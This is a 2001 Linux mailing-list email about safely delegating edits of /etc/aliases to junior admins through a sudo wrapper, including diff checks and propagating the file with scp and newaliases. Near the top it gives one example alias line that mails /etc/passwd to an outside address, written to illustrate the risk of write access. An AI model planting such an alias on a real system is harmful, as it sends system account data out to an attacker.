hi joshua...
/etc/aliases... what can we do with it...
i dont know if this was bill's original intent or not
but lets see what can (regular) people do with /etc/aliases
/etc/aliases
badthing: mail -s "send me the passwd" [EMAIL PROTECTED] \
< /etc/passwd
but since the persons allowed to edit the /etc/aliases file is internal
anyway .. dont think we have to worry about that kind of stuff
if the company is 500 people with people leaving and coming onboard
and if there are jr admins... let them add/delete the people
from "all" or "sales" or "engineering" or "managers" etc...
- in this case ..the sudo wrapper/editor script is good
and the script can also propagate the /etc/aliases file to
each machine that needs to have the aliases file kept current
root@Slaves # sucpaliases -scp
where it does ( and only if its out-of-date )
" scp MasterCopy:/etc/aliases /etc ; newaliases "
the wrapper script can also do the difff and/or run newaliases
depending on your level of paranoia of the ones allowed to run
this "sudo alias script"
- nothing happens till *you* run new aliases...which i would
do myself if i was responsible... but id do a diff between
the new one and the previously tested/good version
have fun linuxing
alvin
On Fri, 30 Nov 2001, Joshua Goodall wrote:
> That is a fair point but addressable with post-editing checks
> in the wrapper. Of course, one is exceedingly vulnerable to
> race conditions if one is not very careful about what is read and
> when.
>
> You don't have to use vi; there are dumber editors in the world.
>
> Maybe you should just have some programmatic (i.e. commandline,
> not full-screen) editing program for aliases that's callable from sudo.
>
> However the whole idea fills me with worry; /etc/aliases IS quite a critical
> file and I'm certain that specific attacks could be engineered
> against you if write access was obtained.
>
> Why not just have users make their changes and mail a diff to
> the sysadmin for approval :)
>
> J
>
> p.s. failing that, investigate LIDS; but that's a different ball game.
>
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
